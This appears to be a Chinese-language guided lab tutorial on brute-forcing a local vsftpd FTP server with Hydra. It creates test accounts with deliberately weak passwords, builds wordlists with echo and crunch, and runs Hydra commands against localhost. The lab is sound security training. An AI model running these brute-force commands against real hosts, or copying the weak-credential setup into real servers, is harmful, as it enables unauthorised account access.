使用 Hydra 攻击 FTP 服务

HydraBeginner
立即练习

介绍

在这个实验中,你将学习如何使用 Hydra(一种多功能的密码破解工具)对 FTP 服务进行暴力破解攻击。你将使用 vsftpd 设置一个本地 FTP 服务器,并创建具有弱密码的测试帐户,以演示安全漏洞。

本实验将指导你执行 Hydra 攻击、分析结果,并了解弱身份验证如何危及 FTP 服务。这个实践练习涵盖了在受控环境中的服务器配置、攻击模拟和安全评估。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 中级 级别的实验,完成率为 80%。获得了学习者 94% 的好评率。

设置本地 FTP 服务器

在这一步中,你将在 LabEx VM 环境中使用 vsftpd(Very Secure FTP Daemon,非常安全的 FTP 守护进程)设置一个本地 FTP 服务器。FTP(File Transfer Protocol,文件传输协议)是一种标准的网络协议,用于在客户端和服务器之间通过网络传输文件。可以把它想象成一个数字邮局,处理计算机之间的文件传递。

  1. 首先,我们需要安装 vsftpd 软件包。此命令会更新你的软件包列表并安装 FTP 服务器软件:
sudo apt-get update && sudo apt-get install -y vsftpd
  1. 安装完成后,最好备份默认的配置文件。这样,如果需要,你总是可以恢复原始设置:
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
  1. 现在我们将使用 nano(Linux 中的一个简单文本编辑器)编辑配置文件。此文件控制你的 FTP 服务器的行为:
sudo nano /etc/vsftpd.conf
  1. 在配置文件中,我们需要修改这些重要的设置。这些更改将:
    • 禁用匿名访问(为了安全)
    • 允许本地用户登录
    • 允许文件上传
    • 将用户限制在其主目录中(为了安全)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
modify configuration

你可以通过运行以下命令来验证更改:

grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat
verify configuration
  1. 完成这些更改后,按 Ctrl+O(Write Out,写出)保存文件,然后按 Ctrl+X 退出 nano。

  2. 现在我们需要重启 vsftpd 服务以应用我们的配置更改。这就像使用我们的新设置刷新服务器:

sudo service vsftpd restart
  1. 接下来,我们将创建一个专门用于 FTP 访问的测试用户帐户。-m 标志创建主目录,-s 设置默认 shell:
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser

当出现提示时,将密码设置为 password123。我们仅出于测试目的使用这个简单的密码——在实际情况下,你应该始终使用强密码。

  1. 让我们创建一个特殊的目录用于 FTP 测试,并设置适当的权限。这确保我们的测试用户可以访问和修改此文件夹中的文件:
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
  1. 最后,我们应该验证我们的 FTP 服务器是否正常运行。此命令检查 vsftpd 服务的状态:
sudo service vsftpd status
service status

你应该看到输出指示该服务处于活动状态(正在运行)。如果看到任何错误,你可能需要查看你的配置步骤。

配置带测试用户的 FTP 服务器

在这一步中,我们将通过创建具有故意设置的弱密码的测试帐户,来为我们的 FTP 服务器进行安全测试做准备。此设置模拟了在真实系统中发现的常见安全漏洞,在这些系统中,用户通常选择简单的密码。我们将创建 3 个测试用户,设置他们的主目录,并生成 Hydra 稍后将使用的密码列表。

  1. 首先,让我们创建 3 个具有弱密码的测试用户(仅用于演示目的)。这些命令创建具有主目录的新系统用户并设置他们的密码:
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd

sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd

sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
  1. 现在,我们将为每个用户创建专用的 FTP 目录并设置正确的权限。这确保每个用户只能通过 FTP 访问他们自己的文件:
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files

sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
  1. 让我们用一个测试文件填充每个用户的目录。这些文件将帮助验证稍后是否成功进行了 FTP 访问:
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
  1. 在继续之前,让我们验证 FTP 访问是否适用于我们的一个测试用户。此 curl 命令尝试使用 FTP 凭据下载文件:
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt

如果配置正确,你应该在终端中看到 test1.txt 的内容。

This is ftpuser1's test file

准备 FTP 的攻击列表

在这一步中,你将准备 Hydra 将用于尝试登录 FTP 服务器的密码字典(wordlist)。这些列表包含 Hydra 在暴力破解攻击期间将系统地尝试的潜在用户名和密码。了解如何创建有效的密码字典对于渗透测试至关重要。

  1. 首先,我们将创建一个基本的用户名列表,其中包含常见的 FTP 用户名。这些是默认或经常使用的帐户名,管理员有时会忘记更改:
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
  1. 接下来,我们将创建一个包含常见弱密码的密码列表。许多用户设置了简单易记但也容易被猜到的密码:
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
  1. 让我们通过显示其内容来验证是否正确创建了这两个文件。这确保我们的列表包含我们想要的内容:
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
  1. 为了生成更复杂的密码组合,我们将安装 crunch 工具。这有助于创建可能在真实系统中使用的系统密码模式:
sudo apt-get install -y crunch
  1. 现在我们将使用 crunch 生成正好 6 位数字的数字密码。这模拟了常见的仅包含数字的密码,例如出生日期或简单的 PIN 码:
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
  1. 将所有密码列表合并为一个综合文件。这个合并的列表将为 Hydra 提供更多的密码选项,以便在攻击期间尝试:
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
  1. 检查我们创建了多少个密码条目。这有助于估计暴力破解攻击可能需要多长时间:
wc -l ~/project/combined_passwords.txt
  1. 最后,创建一个较小的测试密码文件,用于演示目的。在运行完整攻击之前,使用子集有助于验证我们的设置是否有效:
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt

对 FTP 服务执行 Hydra 攻击

在这一步中,你将使用 Hydra 对我们之前配置的本地 FTP 服务器执行暴力破解攻击。Hydra 是一种流行的密码破解工具,支持包括 FTP 在内的多种协议。暴力破解攻击会系统地尝试所有可能的密码组合,直到找到正确的密码为止。这说明了为什么弱密码容易受到此类攻击。

  1. 首先,通过检查其帮助菜单来验证是否已安装 Hydra。这确认该工具已准备好使用并显示可用选项:
hydra -h
  1. 使用我们创建的用户名和密码列表运行基本的 Hydra 攻击。-L 指定用户名列表,-P 指定密码列表。Hydra 将针对在 localhost 上运行的 FTP 服务尝试每种组合:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
hydra attack
  1. 要查看有关攻击进度的更详细输出,请添加 -vV 标志。这种详细模式有助于了解 Hydra 在攻击期间正在做什么:
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
  1. 使用完整的密码列表运行更全面的攻击(这将花费更长的时间)。-t 4 选项将并行连接限制为 4 个,以避免服务器过载,同时仍保持良好的速度:
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
  1. 当 Hydra 找到有效的凭据(credentials)时,它们将显示在输出中。这显示了哪个用户名/密码组合已成功通过 FTP 服务器的身份验证。成功输出示例:
[21][ftp] host: 127.0.0.1   login: ftpuser1   password: password1
  1. 将结果保存到文件中以供以后分析。-o 选项将输出写入文件,而不仅仅是在屏幕上显示:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
  1. 验证结果文件以查看是否发现了任何凭据。这使你可以在攻击完成后查看结果:
cat ~/project/hydra_results.txt

总结

在这个实验中,你已经学习了如何使用 vsftpd 配置本地 FTP 服务器,包括软件包安装、为本地用户访问进行的配置调整以及使用弱密码创建测试帐户。该过程涉及修改 vsftpd.conf 设置、设置正确的目录权限以及验证服务功能。

此外,你还通过创建具有可预测凭据的多个帐户,为 Hydra 攻击准备了一个测试环境。此设置提供了一个受控的场景,可以在保持实际安全测试条件的同时练习暴力破解技术。